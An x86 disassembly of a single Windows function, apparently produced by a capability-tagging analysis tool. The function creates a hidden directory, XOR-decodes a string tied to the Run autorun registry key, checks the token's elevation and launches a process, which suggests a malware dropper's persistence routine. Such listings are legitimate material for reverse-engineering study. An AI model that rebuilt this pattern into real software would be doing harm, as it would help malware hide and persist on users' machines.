Function at 0x401420
Capabilities:
Check if file exists
Create directory
Create process on windows
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, edx
push 0x20a
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
push 8
mov dword [ebp - 0x2a8], esi
mov dword [ebp - 0x2a0], ecx
mov dword [ebp - 0x2b0], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov dword [ebp - 0x28c], ebx
test ebx, ebx
je 0x401847
test esi, esi
jle 0x40164e
mov eax, dword [ebp - 0x2a0]
xor esi, esi
nop dword [eax]
lea ecx, [ebp - 0x2ac]
push ecx
mov ecx, dword [eax]
lea edx, [ebp - 8]
call fcn.004025b0
add esp, 4
test eax, eax
jne 0x4014c4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2a0]
inc esi
cmp esi, 0xa
jl 0x401490
jmp 0x401632
mov edx, dword [ebp - 0x2ac]
sub esp, 8
mov ecx, dword [ebp - 8]
call fcn.00406dd0
add esp, 8
mov esi, eax
push 0x104
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push ebx
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
test eax, eax
je 0x401503
cmp eax, 0xb7
jne 0x401632
push 2
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x288], ecx
mov word [ebp - 0x284], ax
mov dword [ebp - 0x5c], eax
test esi, esi
jne 0x401531
mov eax, 0x10000
jmp 0x40155a
cmp dword [esi], 1
je 0x40153d
mov eax, 0x80000
jmp 0x40155a
mov ecx, dword [esi + 4]
lea eax, [ebp - 0x288]
push eax
push 0xffffffffffffffff
call fcn.00406120
mov ecx, dword [ebp - 0x288]
mov dword [ebp - 0x2a4], ecx
xor ebx, ebx
mov dword [0x423480], eax
test ecx, ecx
jle 0x40162c
nop dword [eax]
xor eax, eax
mov dword [ebp - 0x288], 0
mov word [ebp - 0x284], ax
mov dword [ebp - 0x5c], eax
test esi, esi
jne 0x401591
mov eax, 0x10000
jmp 0x4015ad
cmp dword [esi], 1
je 0x40159d
mov eax, 0x80000
jmp 0x4015ad
mov ecx, dword [esi + 4]
lea eax, [ebp - 0x288]
push eax
push ebx
call fcn.00406120
push 0x20a
push 8
mov dword [0x423480], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x401619
lea eax, [ebp - 0x284]
push eax
push dword [ebp - 0x28c]
push edi
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
test esi, esi
jne 0x4015e7
mov eax, 0x10000
jmp 0x401600
cmp dword [esi], 1
je 0x4015f3
mov eax, 0x80000
jmp 0x401600
mov ecx, dword [esi + 4]
sub esp, 8
push edi
push ebx
call fcn.004069e0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
mov dword [0x423480], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x40161f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
inc ebx
cmp ebx, dword [ebp - 0x2a4]
jl 0x401570
mov ebx, dword [ebp - 0x28c]
mov eax, dword [ebp - 0x2a0]
add eax, 4
sub dword [ebp - 0x2a8], 1
mov dword [ebp - 0x2a0], eax
jne 0x401487
movzx eax, word [str.SoftwareMicrosoftWindowsCurrentVersionRun]
mov ecx, 0x78
xor ax, cx
mov dword [ebp - 0x50], 0x240078
mov word [ebp - 0x32], ax
movzx eax, word [0x41e95a]
xor ax, cx
mov dword [ebp - 0x4c], 0x14001b
mov word [ebp - 0x30], ax
movzx eax, word [0x41e95c]
xor ax, cx
mov dword [ebp - 0x48], 0x1d0011
mov word [ebp - 0x2e], ax
movzx eax, word [0x41e95e]
xor ax, cx
mov dword [ebp - 0x44], 0xc0016
mov word [ebp - 0x2c], ax
movzx eax, word [0x41e960]
xor ax, cx
mov dword [ebp - 0x40], 0x4a004b
mov word [ebp - 0x2a], ax
movzx eax, word [0x41e962]
xor ax, cx
mov dword [ebp - 0x3c], 0x1d0056
mov word [ebp - 0x28], ax
movzx eax, word [0x41e964]
xor ax, cx
mov dword [ebp - 0x38], 0x1d0000
mov word [ebp - 0x26], ax
movzx eax, word [0x41e966]
xor ax, cx
mov word [ebp - 0x34], cx
mov word [ebp - 0x24], ax
movzx eax, word [0x41e968]
xor ax, cx
mov word [ebp - 0x22], ax
movzx eax, word [0x41e96a]
xor ax, cx
mov word [ebp - 0x20], ax
movzx eax, word [0x41e96c]
xor ax, cx
mov word [ebp - 0x1e], ax
movzx eax, word [0x41e96e]
xor ax, cx
mov word [ebp - 0x1c], ax
movzx eax, word [0x41e970]
xor ax, cx
mov word [ebp - 0x1a], ax
xor eax, eax
mov word [ebp - 0x18], ax
xor word [ebp + eax*2 - 0x4e], cx
inc eax
cmp eax, 0x1b
jae 0x401755
mov cx, word [ebp - 0x50]
jmp 0x401744
xor eax, eax
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x4e]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40183b
lea eax, [ebp - 0x28c]
xor esi, esi
push eax
push 8
mov dword [ebp - 0x28c], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4017c8
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 4
push eax
push 4
lea eax, [ebp - 8]
push eax
push 0x14
push dword [ebp - 0x28c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push dword [ebp - 0x28c]
test eax, eax
cmovne esi, dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x2b0]
mov edx, esi
mov ecx, ebx
call fcn.00401a80
add esp, 4
lea eax, [ebp - 0x58]
push 0x44
push 0
push eax
call fcn.00408800
add esp, 0xc
mov dword [ebp - 0x58], 0x44
xor eax, eax
xorps xmm0, xmm0
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x29c]
movups xmmword [ebp - 0x29c], xmm0
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 8
push 0
push 0
push 0
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40183b
push dword [ebp - 0x298]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x29c]
call esi
push ebx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406f60
mov esp, ebp
pop ebp
ret